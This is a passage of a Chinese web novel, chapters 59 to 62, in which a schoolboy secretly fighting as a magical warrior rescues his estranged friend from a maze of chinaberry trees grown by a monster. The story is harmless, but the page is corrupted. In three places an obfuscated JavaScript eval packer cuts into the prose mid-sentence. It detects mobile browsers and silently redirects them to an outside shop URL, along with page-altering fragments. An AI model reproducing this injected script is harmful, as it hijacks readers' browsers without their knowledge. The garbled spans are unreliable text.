道谢收了东西,罗乐安也没了控诉的欲望,像一只撒了气的气球,皱皱巴巴可怜兮兮,趴在桌子上,明显是不想再聊。 见他这副模样,任穗的眉头皱得更紧了。 头两节课是英语,这对罗乐安而言算是比较有意思的文化课了,加上课上还有熊哲在回答语法填空时,贡献的“are吗?”跟“额娘”的低智搞笑烂梗*,总之,两节课过后,他的心情终于好了起来。 肚子里的郁气散得差不多了,早上只吃了一片面包的人终于感觉到了肚饿,因此大课间一到,他就冲过去找任穗和常映月,想结伴去觅食。 高三生最大的好处,大概就是不用再痛苦跑圈了。 只是他兴致冲冲地来,却只看到常映月,往常跟她孟不离焦的任穗并不在座位上。 “凛酱,老穗呢?” 因为不敢大幅度用脸,所以罗乐安只能缩着嘴巴说话,声音含含糊糊的,还有些夹。 常映月听到这动静,觉得有些搞笑,又觉得有些熟悉,不过她没深思,只如实回答对方的问题。 “我也不知道,周老师刚说下课,她就跑出去了,也没说去哪儿,更没说要去干嘛。” “唔?” 罗乐安有些疑惑,对神神秘秘的任穗升起了八卦之心,奈何五脏庙的需求更大,他只好暂且压抑住好不容易恢复的活力,先拉着常映月,两个人一起去商店觅食。 然而令他没想到的是,任穗去向的线索会来得那么快。 他刚从商店里出来,关东煮也才吃了两口,正喝汤呢,消息就这么突然的被塞进了他的耳朵里。 “……话说确实好久了哦,没看到有女生去找朗哥。” “的确是大半年都没有过了,不过也真没想到,一来就来了个这么猛的。” “是啊,我见过堵教室门的,但是真没见过堵男厕所的……” “所以说才猛啊!说起来,那个女生我看着好眼熟啊。” “能不眼熟吗?就那个有钱人家的大小姐呀,我记得是叫任穗来着。” “任穗”的名字甫一出来,就被罗乐安和常映月第一时间捕捉到了。 两个人对视了一眼,眼波里流转过诧异,怀疑,最后定格到不解。 刚和他们擦肩而过的那两个男生,这个时候已经进了商店,他俩倒也没想折回去继续打探,也没打算去五楼“听墙角”。 罗乐安一秒都不耽搁,直接拉着常映月回了教室,“守株待兔”。 却没想到任穗和温朗的“私聊”会那么久,竟然持续了整整一个大课间。 因此在任穗踏着上课铃进教室后,第一时间就感受到了两道灼热的视线,直直地落在自己身上。 59. CHINABERRY③ 整整两节课,任穗一直能感觉得到,那两道目光始终落在自己身上。 特别是她在课间“躲”到卫生间,接着再次踩着点踏进教室后,那目光的灼热程度就又加重了一个level。 她已经从同桌常映月口里知道这其中的原因,倒也不慌,只是想钓钓鱼、逗逗人,所以才会故意抻着罗乐安。 特别是一想到在得知自己去找温朗后,对方就狠瞪着那双大眼睛着急忙慌回来想要“逼供”,她就非常开心。 不过躲得过短短十分钟,却躲不过漫长的午休,政治老师刚宣布下课,任穗还没来得及收好书,就被第一时间冲过来的某人,牢牢堵在了座位里。 “老、穗、啊~” 罗乐安的声音又变得阴森湿黏,一副男鬼模样。 任穗有被吓到,但好在她早就有心理准备,心里一突之后,很快就镇定了下来,主动拉着人往外走。 “哎呀呀,万圣节都过去那么久了,乐乐你就算扮鬼我也是不会给你糖的——走走走,先去吃饭,我今天请客,你想吃什么都行……哎呀~别黑着脸啦,笑一个,乖~” 笑是肯定笑不出来的,不过罗乐安感觉得出来,任穗之前不是避而不谈,纯纯是故意使坏,因此尽管依旧气鼓鼓,脸色却好了不少。 结果他红润的脸并没有保持多久,在看到食堂今天的菜色后,就又黑了。 青椒干豆腐、洋葱土豆片、清炒苦瓜、豆角南瓜烧肉…… 一眼扫过去,没一道爱吃的。 最后,任穗豪横刷卡,他却只能端着一盘子炒蛋落座。 茭瓜炒蛋、番茄炒蛋、韭黄炒蛋。 本以为今天一早的那遭已经够倒霉了,按照运气守恒定律,他短时间内就算不走运,也不至于再触霉头。 没想到啊,天真了。 更让他气闷的,是任穗在看了他的餐盘后还幸灾乐祸,火上浇油。 “矮油~老罗你这是最近忙着健身吗?所以才对鸡蛋‘情有独钟’?还是说想要替我省钱呀?真是的,不用这么爱我……额!” 察觉到一把勺子从眼前划过,差一厘米就要抵到自己额头后,她乖乖闭嘴,不再嘚瑟。 “穗穗。” 罗乐安收回勺子,舀起一勺番茄鸡蛋举在半空,眼睛直勾勾盯着任穗。 “你要背叛我们的友谊了吗?为了另一个男人!” 尽管不合时宜,可听到他的话后,任穗心里的笑意止不住地往脸上涌, 因此,为了不刺激到对面的人,她只好故作深沉地双手抵住额头,掩住马上就要绷不住咧开的嘴角。 以及刚塞进嘴里的那口白米饭,也得尽快嚼碎咽下去,不然说不定等下就会控制不住喷出来。 至于在她一旁的常映月,对于这个逆天的联想也一样难绷。 特别是她原本表情就偏冷,脸上稍有笑意就格外明显,所以她也只能稍稍侧过脸去,低头疯狂扒拉餐盘里的苦瓜,假装自己很忙。 两个人的掩饰并没有多高明,只是罗乐安此时的心实在是太乱了,非但没识别出来,反倒更加误会,把这种表现当做……愧疚。 因为被自己说中而产生的愧疚。 于是他的情绪就更收不住了。 “太过分了!我们认识两年半了!你跟阿,呸,温朗——总共才没见几面,你怎么能在这种时候抛弃我呢?你无情无耻无理取闹!” 噗。 任穗的身体已经开始控制不住地颤抖了,常映月的左手也抚上额头,遮住自己大半张脸。 而此举,让罗乐安在错误的方向上奔得更远了。 “少来这套!我、我事先声明!就算你哭我也不会……” “噗!” 最后还是任穗先没忍住,噗嗤噗嗤笑了出来。 和笑声一起出来的,还有碎碎黏黏的饭粒。 “咳!咳咳……” “任穗!你——你你你太恶心了!!!” 被喷了满脸饭粒的罗乐安顿时顾不上分析他们三个人的“爱恨情仇”了,满心只有嫌弃。 等到他好不容易把自己收拾干净,刚刚火气也凉下来了一些。 一起凉的,还有午饭。 十分钟后,三个人重新打了热乎干净的饭菜,再次落座。 开启正式的午餐环节。 “所以,你去找阿……温朗,到底是要干什么?” 罗乐安一边扒拉餐盘里的土豆片——最受欢迎的炒蛋系列已经售罄了两个——一边问道。 面色像个正常人一样,再没有“男鬼”的模样。 就是表情还有些纠结。 “想知道呀?” 任穗倒是没什么心理负担,专心从豆芽里挑肉丝吃,同时还不耽误她钓鱼。 被钓的“鱼”一开始还想矜持矜持,低着头吃韭黄炒蛋。 不过没吃两口,他就放弃了。 “……咳,想,你说吧。” “不告诉你~” “……” 看到罗乐安吃瘪无语的脸,连常映月都没维持住表情,眉头一挑,接着很快低下头,专心吃饭。 那边咬钩的鱼还不放弃呢。 “老!穗!” 见人真要生气,任穗收敛起脸上的嬉皮笑脸,终于给了一个正了八经的回答。 “你要是真想知道,就去问你的阿朗——小月你快吃,吃完陪我去商店~” …… 一顿饭,前后六个菜,两碗汤,可罗乐安最后出食堂的时候,既不是饭饱,也不是水饱,而是气饱的。 他对任穗和温朗之间的秘密的确是很好奇,但如果真主动去问温朗,那不就相当于他先主动服软求和吗? 不行。 绝!对!不!行! 越想越气,罗乐安在心里又痛骂了温朗一顿,然后因为太过投入而出神,导致早上的那一幕,重演了。 学校主路上的雪清的要比外面的干净,所以理论上是不会出现脚滑摔倒的情况。 只是生活里总有意外。 罗乐安摔倒的地方,旁边种着一行苦楝树。 虽说今年苦楝树的花期比以往都要长,但八月落花后,梢头依旧还是坠了不少果实,和往年别无二致。 而让他脚滑摔了个屁股蹲儿的,正是掉落到地上的苦楝树果实。 “啊——!!!” 早上那声没喊出来的怒吼,现下终于忍不住了。 就算脸颊上的伤口因此而挣开,他也没管,反而喊得更欢了。 “气死我了!气死我了!” 他甚至都没从地上起来,维持着坐地上的状态就开始嚎。 “烦死了!烦死了!!!” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16629805|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一通大喊大叫,吸引了周围不少人的注意力,那些目光落在了罗乐安身上,虽然不痛不痒,到底还是有压力。 于是他渐渐减小了声量,人也从地上爬了起来。 “真是……倒霉死了!早上摔中午还摔,还被喷饭粒……还,跟人吵架……” 自言自语的声音虽然小了,情绪却并没有跟着一起消减。 奈何他从小就不会骂,抱怨了几句就没词儿了,可是心里那口气还在,他最后只好把手里刚刚顺手捡起来的苦楝树果实狠狠往地上一扔,然后又使劲儿踩上了几脚,这才悻悻离开。 这一幕,都被落在后头的温朗收入眼中。 今天1班有同学过生日,寿星本人在午餐时间邀请班上几个要好的人一起在食堂庆生,他也在此列。 因为带了蛋糕,整顿饭玩玩闹闹,所以时间也拉得比较久,吃了将近四十分钟才结束,这也才能和被迫“吃”了两次饭的罗乐安碰上。 他其实是第一个看到这人原地表演发疯的,不过并没说话,反倒是和他一起的同学里,有人也认出了罗乐安。 “诶?朗哥,这不是跟你特别要好的那个男生吗?” “好像还真是,老韩头黑名单上的‘常驻人口’,叫罗乐安对吗?” 听到这里,温朗终于出声了。 “嗯。” 却只有短短一声。 其他人倒没觉得不对劲儿,因为他这几天本来就变得不怎么爱说话。 “话说他是不是好久没来找你了,朗哥?” “好像是哦,之前三天两头就能看见你俩趁着大课间‘约会’,最近好像都没动静了。” “那是因为朗哥最近太用功了,没时间吧——对了朗哥,你特意找鑫子留了块蛋糕,是不是就是给他留的啊?正好碰见了,直接给人送去呗。” 可惜,话赶到这儿的时候,罗乐安已经拍拍屁股走人了,想要送蛋糕,必须要大声喊话把人叫住。 而当事人则拒绝了这个提议。 “算了,之后找机会捎给他吧。” 和任穗短暂聊过后,温朗确实也不打算再跟罗乐安较劲了,毕竟他的目的,原本也不是想要跟人争个输赢。 不过让他一上来就恢复热情,特别是在对方似乎还是没有意识到自己错误的情况下,主动求和——没错,只是求和,不是道歉——多少还是让他感觉有些……不痛快。 所以那块想用来破冰的蛋糕,就还是先托任穗转给罗乐安好了。 做下这个决定后,温朗拍了拍身旁人的肩膀。 “走吧。” 咔。 他迈开步子率先往前走去。 “回去抓紧时间眯一会儿。” 噗噗。 几步就已经走到了罗乐安刚刚摔倒的地方。 “不然你们下午的物理课肯定会打瞌睡。” 咻咻咻。 走到这里,风突然停了。 没有了风声,空气里那些窸窸窣窣的声响,终于变得明显了。 温朗心头一跳,涌上了一股不祥的预感。 只是还没等他做出下一步判断,变故突生。 脚边散落的苦楝树果实们突然裂开,里面的种子迅速发芽扎根,一棵棵苦楝树顿时拔地而起,像牢笼一般围作一圈,趁着其中的温朗还没反应过来,迅速将人困在了中间。 60. CHINABERRY④ 这一切发生得实在太过突然,没反应过来的不止是温朗,还有他外面的同学们。 “这、这些是什么啊!” “朗、朗哥!你没事吧?!” “我知道了!朗哥,你快爬树!爬树爬出来!” “对对对!这些树不高,你肯定能爬出来。” …… “树牢”外的声音杂乱纷纷,提供的却也并不都是无用的信息,像是“爬树”这一选项,就和温朗心头刚刚升起的念头不谋而合。 特别是这些树的确都还小,树冠不算茂密,完全可以通过其中的空隙爬出去。 只是这个念头刚出现,就被他自己否决了。 毕竟这些树大概率跟之前的怪物是一样的,他在地上好歹还有躲的空间,谁知道爬上去之后,会不会出现更棘手的情况。 而就在他犹豫的时候,这些树的生长速度果然又加快了,头顶上原本还能看得见的天空,不知不觉就被变得愈加繁茂的枝丫给彻底封住了。 与此同时,“牢内”的空间也因为树木的生长加粗,而在不断减小。 不知道是他的同学们被拉去避难,还是这些树墙已经厚到可以完全隔音,他这个时候已经几乎听不到外面的声音了。 看来现在唯一的自救手段,就只能——爬树了。 温朗如此想着,也决定这么做了。 只是当他选好了要爬的那棵树后,还没来得及动作,一声大喊钻入了他的耳朵。 “温朗!蹲下——” 来不及想这话里指令的正确与否,也没空思考说话的是谁,温朗在听到这声大喝的第一时间,就下意识选择了相信,迅速蹲下身,并抱住头。 伴随着一股强有力的劲风从上方猛地掠过,就听头顶传来“轰隆”一声巨响,紧接着他感觉到周围的光线变亮,便松开手缓慢站起身来,转动脑袋观察此时的情况。 那一圈围着自己的树木已经被拦腰砍断,切面整齐光滑,不见丝毫拖泥带水的感觉。 而没了树冠的阻挡,正午的阳光顺利地洒落下来,驱散了空气中的冷意,却没驱散他身上的寒凉,他这才发现自己后背已经冒了一层冷汗。 对了! 那个声音…… 终于想起了那个救自己的人,温朗猛地转过身,然后在那些散落在一旁的树冠旁边,看到了那个熟悉的蓝色身影。 “你……” 他讷讷出声,对面的人也闻声转了过来。 温朗知道自己应该道谢,毕竟这已经是对方第三次救自己了。 可他也没想到,当话从嘴里滑出来的时候,竟然会变成另外一句。 “你怎么会知道我的名字?” 对方并没有回答他的问题,只是将右手上的武器收了起来,而因为逆光的关系,他也看不到对方的表情。 只是通过刚刚的动作,他感觉到了一种……类似“傲慢”的情绪,似乎是并不屑回答自己刚刚的问题。 总觉得——哪里不对劲。 尽管只有数面之缘,可温朗还是觉得,对方并不应该是自己刚刚判断的那样。 难道,是这次的情况太过棘手吗? 他默默在心里推测着,殊不知披着“高冷皮肤”的L-RAether,从听到那个问题开始,就在一刻不停地冒冷汗。 之前情况紧急,罗乐安想都没想,脱口而出了“温朗”两个字,但实际上,刚说完他就后悔了,只能祈祷对方刚巧只听到了后两个字,错过了前两个字。 不过,祈祷失败了,对方还是捕捉到了自己的失误。 慌乱之中,还没理由的他,就只能装装高冷,以掩盖他的心虚。 不过温朗的猜测到也不算错,情况确实比自己想象中的,要难办一点。 因为,他根本就还没找到谵蘖在哪里。 刚刚他还没走进教学楼,就从因为吸收了南瓜种子而一直休眠,前一晚才苏醒的丧丧那里,得到了谵蘖出现的消息。 然而尽管知道谵蘖就在自己附近,他却没有感受到任何异样,一切都很正常,说说笑笑的同学不断从他身边经过,祥和极了。 直到他听到有人尖叫,并且还提到了温朗,他才锁定了目标,连忙冲进卫生间完成变身。 他赶到的时候,那些突然冒出来的苦楝树,已经长到一个人都抱不住的粗度,密不透风的树干和枝丫将温朗牢牢困在其中,而外面的人却并看不到里面的情况,也不知道人究竟有没有受伤。 而苦楝树还在不停生长,树牢里面的情况说不定会越来越糟糕,情急之下,他来不及仔细思考,大喝一声后,就把手里的新武器丢了过去。 幸好这些树虽然粗壮,却依旧是树,还是能被砍断的,因此温朗才能成功获救。 然而最大的问题也就在这里。 罗乐安他,已经好久没有遇到过可以这么轻松就被砍断的谵蘖了。 而且……红雾呢? 总不能—— 刚刚的苦楝树,并不是谵蘖吧? 可如果不是,那为什么会在大冬天开始生根发芽并快速生长呢? 一时之间他想不出答案,不过有一件事是可以确定的,那就是这里依旧是危险地带,无关人等要尽快撤离。 而杵在这里还没离开的“无关人士”,就只剩下温朗一个了。 意识到这点,罗乐安终于有了新反应,上前几步抓过刚翻过树桩的温朗,就要把人往另一边带。 “快走!别杵在这儿碍手碍脚。” 态度可以说得上恶劣了,却也是因为他担心对方的安全。 但也正是由于心里着急,才难免出纰漏。 他忘记了压低嗓音,用了本音。 虽说比平时的声音要更加冷峻,可熟悉的人依旧能够辨识出来。 而温朗,恰恰就是那个非常熟悉他的人。 听到那声熟悉的少年音,原本打算听话离开的某个“乖乖”学霸,瞬间叛逆期来了。 不仅不打算撤离,甚至还想近距离观察一下。 他也知道仅凭声音相像就猜测L-RAether是罗乐安,其实挺没道理的,只是这个念头已经不止一次出现在他脑袋里了。 从在汐语市的海边瞧见对方用呆毛朝自己比心的时候,他心里就种下了这颗怀疑的种子,直到看到这两个人同时出现,他才暂时将已经发芽的苗苗拔掉。 不过既然可以变身成为魔法使,那使用魔法制造一个替身应该也不是不行,特别是上次两个人同框的时候,他还感觉到了一种明显的违和感。 而且,自己还看到过某个人摆出过和那个魔法使同款的Pose,实在是让人不能不在意。 所以尽管没有证据,他依旧不想就这么离开。 毕竟,就算是只有万分之一的概率,但如果对方真的是罗乐安,那…… 自己是绝对不可能放乐乐一个人面对危险的! “我不走!” 温朗挣脱开L-RAether的手,正式开启了自己逆反心的表演。 “我不走,我要留下来帮你!” 而听到他的话后,本身就在震惊自己竟然被甩开手的罗乐安,眼睛瞪得更圆了,满脸写着四个大字——不可置信。 这还是那个玉树临风度翩翩若惊鸿才大略不世出类拔萃的温朗吗?! 这么叛逆,难道是被自己附身了? 这一瞬间,他脑袋里面的弹幕像火山口的岩浆一般喷薄而出,可好在有更重要的事情压过了他乱窜的思绪,他很快就重新集中了精神。 “帮我?你一个普通人拿什么帮我!” 他拔高声音,冲着温朗的耳朵大喊,“快点走!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16641497|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,他转着脑袋四处张望着,疯狂搜寻着老韩头的踪迹。 现在能把温朗强制驱离的只有他了——可这个老家伙平时神出鬼没的,怎么关键时刻神隐了呢! 那其他老师呢? 人都哪儿去了! 然而,温朗本人并没有get到他的焦虑,还在“推销”自己。 “我之前就帮过你,不是吗?你之前救过我两次,我也帮了你两次作为回报。所以你今天救了我第三次,我也要再帮你一次才行!” 某个正义的魔法使,此刻非常想当一次反派,这样就可以正大光明地暴走了。 认识这么多年,他还是第一次在温朗身上看见“胡搅蛮缠”四个字。 罗乐安深呼吸,努力维持住自己快要崩断的神经。 要不干脆把人打晕扛走吧,简单粗暴却最高效。 他正这么想着,耳朵突然又捕捉到了轻微的一声“咔”,声音很小,小到会让人产生听错的错觉。 但他并没有怀疑自己,他相信自己的第一直觉,当下也顾不上跟温朗掰扯,连忙绷紧心弦,将人拉到身后,同时一边探查谵蘖的踪迹,一边将左手的盾召唤出来,挡在了两人面前。 噗噗。 那个细微的声音又出现了,而这次,罗乐安的反应比上次还要快,不仅迅速捕捉到了能量出现的方向,并且马上反应过来那个声音是什么了。 是种子生根发芽破土而出的声音。 至于是哪里来的种子…… 垂下眼眸,他扫过地上因为沾染了尘土而变得灰扑扑的苦楝树果实。 遍地都是。 他们两个现在简直是踩在了陷阱堆里! 不过现在并不是吐槽的时候。 伴随“咻咻咻”的声音,温朗右后方又冒出了一排小树苗,争议肉眼可见的速度迅猛生长。 与此同时,罗乐安拽着温朗转身,左手的盾依旧横在两人身前,右手则是在将人松开后,召唤出了新的武器。 一把三刃的飞旋镖。 且开刃。 他没再犹豫,摇着手柄将武器朝着还不算粗壮的树木丢了过去。 成功将那排苦楝树齐齐砍断。 和前一次一样,树被砍断后就停止了生长。 不过也依旧没有散出红雾。 这让罗乐安的心情更加烦躁不安,转头将炮火对准一直死粘着自己的温朗。 “都说了你帮不上忙,除了让我分心保护你给我添乱,你没有任何作用!快点走!” “会帮上忙的,我在仔细观察……” “温朗!我警告你,别再无理取闹了!” 他的声音再次拔高到破音,然而被吼的人不为所动,依旧冷静。 “所以,你为什么知道我的名字?” 听到这里,罗乐安猛地反应过来,他好像猜到低温朗为什么一定要留在这里了。 这家伙,起疑心了。 “……我听到你的朋友是那么叫你的。” 声音恢复冷漠,他给出了一个刚刚想好的理由。 可是对方似乎并不相信。 “真的?” “……” 将人打晕带走的邪恶念头再次浮上心头,只是又一次,还没等他落实到行动,那些“咔噗噗咻咻咻”的声音就又来了,再一次打断了他。 更烦了。 罗乐安收起盾,举起右手的飞旋镖,集中精力判断能量波动的来源,准备和之前那两次一样,一击必杀。 然而,所谓事不过三,他很快就意识到这次的情况和前两次似乎不太一样。 能量场——太强了。 强到让他举着飞旋镖的右手整个僵住。 而就在这一瞬间,无数的树苗破土而出,将他困在树牢之中。 同时,也把他和温朗隔开了。 61. CHINABERRY⑤ 由于树木太多,而且生长速度远比之前两次,导致罗乐安的耳朵里此刻只有“轰隆隆”的声响。 所以在发现自己和温朗被树木隔开后,他也只能从树木枝丫间的缝隙,看到对方的嘴巴在动,却并听不到具体是在说什么。 不过,看嘴型,他大概猜出来了两个字。 乐乐。 所以,真的是为了他? 心脏一下子像是被一只手紧紧揪住,窒息感伴随紧张让他一瞬间有些恍惚。 但横插眼前的树枝很快将他的思绪唤回。 现在可不是多愁善感的时候! 眼看繁茂的树木就要把他们两个完全隔开,他下意识将左手柄顺着即将被掩住的空隙,朝着温朗扔了过去。 “接好——”他大喊道,并且在瞥见对方成功接到手柄后,操控魔力将盾张开,“千万别松手!” 这话说完,两人之间仅有的空隙也被繁茂的枝叶全部填满了。 也不知道温朗有没有听见自己的话。 罗乐安担忧地蹙眉,而后又很快松开。 他刚刚可真是急昏头了。 明明可以把树木轻松砍断,却要费劲扔手柄,真是多余。 这个小乌龙让他原本焦躁的心情平复了一些,他深吸一口气,举起飞旋镖准备先破除自己跟温朗之间的障碍。 然而还没等他把武器甩出去,新的变故出现了。 枝繁叶茂的苦楝树们突然停止了纵向跟横向的生长,开始进入了生命周期的下一阶段。 开花。 别看现在寒冬腊月的,苦楝花的香气却一点不输初夏盛花期,甚至比那个时候还要浓郁。 因为数量实在太多。 以百计数的树木,它们的花量集中在一块儿,香气足够熏晕一头大象。 而罗乐安在发现苦楝树开花的一瞬间,就头皮发麻并本能地屏住了呼吸。 可还是没用,香气愈浓,思绪愈加混乱,眼前的景象也是越来越模糊。 昏沉之中,他只觉得刚刚停歇的轰鸣声,又在自己耳边响起来了。 不过当他结束恍惚,神志和视线重新恢复清明后,就发现改变的不只是声音环境。 整个环境都变了。 花落了,空气中充斥着的不再是腻人的香味,而是落叶与泥土混合而成的湿冷气息。 周围的树木高大又森然,紧密地排列着,构成了难以看穿的深褐色壁垒,只给他留下了大概两米宽的狭窄甬道。 树皮粗糙皲裂,罗乐安抬手轻抚,顿时感到一股刺骨的冰冷窜入体内,同时还感受到了一种令他非常不安的生命力。 还不止于此。 最让他感觉到压抑的,是头顶被枝叶完全遮蔽的天空。 那些浓密到化不开的树冠层层叠叠、交错缠绕,像是一个巨大的穹顶,吞噬掉了外界的光线和声音,只留下像是凝滞了时间一般的昏黄与朦胧,充满了一种淡淡的绝望感。 这里……不是牢笼。 罗乐安向前走了几步,在看到尽头处一左一右两条岔路后,确认了自己的猜测。 是迷宫。 苍了天了! 不直接开打反而搞什么迷宫,谵蘖你有病吧!!! 有种出来单挑啊!!! 他抬脚狠狠踹了几下树墙,可除了反作用力,他什么也没得到。 好在短暂泄愤后,他也冷静了不少,发现自己竟然忘了最重要的事情,不由得懊恼地拍了拍脑门。 “温朗?温朗——你听得到吗?温朗!” 没有人回应,迷宫甬道里回荡的只有罗乐安自己的声音。 “可恶!那就别怪我使用暴力了!” 说着,他举起飞旋镖,朝着自己左侧那排树狠狠掷去。 看得出来,大概是树木变得更粗壮的缘故,这次飞旋镖的砍伐过程要比之前费劲许多,原地盘旋半天终于磨断了三棵树,树墙被他成功“掏”出了一个洞。 然而当他从洞口将脑袋探出去后,眼里的期待瞬间就被失望所取代。 因为树的后面,还是树。 真是麻了。 自己刚刚到底恍惚了多久啊! 还有谵蘖你——搞出这么大工程,是要申请吉尼斯嘛!!! 心里刚平复下来的怒火又窜了起来。 既然如此,那就别怪他搞拆迁了! 罗乐安回到甬道中间,抬头看着自己正上方的“屋顶”,将回到手里的飞旋镖调整角度,朝着正上方狠命一扔。 他还不信了,墙外可以有墙,总不能屋顶外面还是屋顶吧! 事实证明,树冠屋顶之上,的确是天空。 可从地面到达天空的路途,比他之前预想的要长的多。 “靠!累死我了,树冠怎么那么厚!不过还是难不倒我~” 一段路一段路往上跳,好不容易才凿穿屋顶的罗乐安,终于成功站上穹顶后,长舒了一口气。 只是当他抬头,视线扫过周围后,嘴角的笑容凝固了。 苦楝树迷宫的范围,将食堂到教学楼之间的空地全都占住了,面积不算特别大,却也的确不小。 但这还不是让他吃惊的原因,重点,是整座迷宫都加了“盖”。 “我*!到底是谁说的,走迷宫要站在高处的啊!骗子!!!” 入目一片苍翠绿色,不过这并没有让罗乐安感受到丝毫的平和、安宁和希望,有的只是烦躁不安。 自己可以依靠能力从迷宫里逃离,可是温朗呢? 温朗只是一个普通人,就算现在有他的盾保护着,却也只能解一时之急,并不能帮其脱困。 “混蛋!” 他蹲下身,握着的拳头狠狠捶了一下层层叠叠枝叶构建出的迷宫屋顶,心里的焦急一点一点向上蔓延,让他的眼角和鼻头开始发酸变红。 “让你走你不走,净会给我添乱……” 早知道会遇到这种情况,他肯定不会选择死犟不低头,一定会认错服软。 这样,今天中午他们两个就不会分开,就算遇上谵蘖,自己也能先把人拖到安全的地方,对方也就不会独自身处险境了。 可恶! 他为什么就不能放弃所谓的“自尊”呢? 面子哪里有温朗重要啊! “对了!” 一直在捶打树冠的罗乐安,突然灵光一现,双眼迸发出希望的光芒,同时跪倒在树冠上,双手不停摸索着身下的枝叶。 可惜,他并没有找到自己想要的东西。 “为什么?为什么感受不到情绪呢?难道……我的能力消失了吗?” 不死心地又感应了好几遍,他却依旧只能感受到冷意和绝望,除此之外,没有任何其他的有效信息。 这样一来,通过植物得到温朗踪迹的这条路也被堵死了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645028|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可恶!可恶可恶可恶!!!” 疯狂地捶打着树冠穹顶,罗乐安此刻只想宣泄掉自己的后悔和恐慌。 直到短暂地耗尽气力,他终于冷静了下来,脑袋里也想好了新的计划。 “既然如此,那就……” 那就只能把迷宫全都破坏掉,这样一定就能把温朗救出来了。 然而当他站起来,举起手里的飞旋镖准备投掷的时候,就感觉身下一震,紧接着,组成迷宫的苦楝树再次发生变化。 叶片开始变黄,然后掉落。 与此同时,一个个圆形的果实,挂上了枝头。 在这之后,迷宫顶部开启了全新的剧目。 《植物大战僵尸》。 苦楝树化身“豌豆射手”,而罗乐安,自然就是四处逃窜的“僵尸”。 至于“子弹”,正是苦楝树的果子。 果子不大,就指甲盖大小,但架不住力度不轻,更重要的是,数量庞大。 宛如一场寒冬中的盛大冰雹。 只有有大病的人,才会在这个时候还待在户外乱窜。 而失去盾导致只能四处逃窜以躲避“枪林弹雨”的某个魔法使,此刻就在被迫犯病。 “嘶……唉哟!” 脑袋上顶着披风,却依旧逃不过被砸中的命运,实在是攻击太过密集,还全部都是冲着他来的,他避无可避。 甚至连脱离迷宫逃跑都不行,因为很容易把普通人牵扯进来。 好在这些果实造成的伤害只是疼痛,不具备杀伤力,因而罗乐安只是比较狼狈,整体状态还算OK。 就是找不到可以反击的机会和方式,这让他无比窝火。 加上战斗素养的不断累积,这出单方面“追杀”的戏码只维持了不到五分钟,他就反应过来了一件事。 果实都是长在树冠以上的枝头上的,这也就意味着,如果他还处在迷宫内部,也就是树干部分为主场的地方的话,那自己受到的这些果实的攻击,应该就会相应减少。 想到这里,别无他法的罗乐安不再犹豫,右手按下A键蓄力,紧接着右脚用力一蹬,迅猛地跃到空中。 当银色光辉将飞旋镖全部覆盖住后,他将武器高高举起,然后朝着垂直方向用力丢去。 蓄力过后的飞旋镖,像一把高速旋转的圆锯,流星一般向下砸去,将他身下那棵苦楝树从上到下整个劈开。 罗乐安从裂口处一跃而下,落地之后,满意地收起飞旋镖。 丧丧还真是没白吸收那颗巨大南瓜籽,让他得到了一把非常好用的新武器。 就是每次蓄力,都真的很耗费精力条。 深吸一口气,他一边调整状态,一边观察周围的情况。 和他之前预想的一样,这里的环境依旧是寂静的,也是安全的。 好歹是给了他喘息的空间。 但是当他向前走了几步,发现是死胡同,正准备掉头的时候,他觉察到不对劲的地方了。 从他回到这里开始,自己就再也没遭受到攻击,可其中的原因,应该并不是脱离了攻击范围。 因为只要抬头,他就能看到最下层的树枝上还挂着苦楝树的果实。 所以,只有当他是在“自由”环境下,苦楝树才会朝他发射果实。 换句话说,谵蘖的目的并不是要攻击自己,而是为了让他回到这里。 回到迷宫里。 62. CHINABERRY⑥ 谵蘖执意要罗乐安回到迷宫内的目的,他并不知道。 但反正他想要达成自己的目的——救出温朗并打败谵蘖——原本也就还是要回到这里,所以无论是主动还是被迫,结果倒是殊途同归。 既来之则安之。 反正只要将迷宫走通,谵蘖的目的就一定会浮现。 想到这里,罗乐安刚刚因为察觉到行动的不对劲而提起的心,又重新落了回去,人也跟着放松了一些。 这不只是因为远离了“枪林弹雨”,更重要的是,相比之前像是无头苍蝇一般的四处乱撞,现在的他好歹有了可行的目标。 再说了…… 他举起飞旋镖,嘴角扬起得意的笑。 谁说迷宫,就一定要按部就班地走了? 乐乐牌拆迁队,即将大放光彩! 至于终点在哪里,依据他以往翻阅的“文献”总结,大概率是不会在边上,那就只可能在中心了。 就是他已经完全不记得迷宫的方位了,但是只要先找准一个方向,总能走到的。 拟定完粗糙的大计,罗乐安将手里蓄满力的武器朝着死胡同的树墙用力丢去,然后耐心等待着“捷径”的出现。 如他所愿,捷径的确是出现了,圆锯一来一回切出来的通道漆黑深邃,一眼看过去似乎并没有挖通。 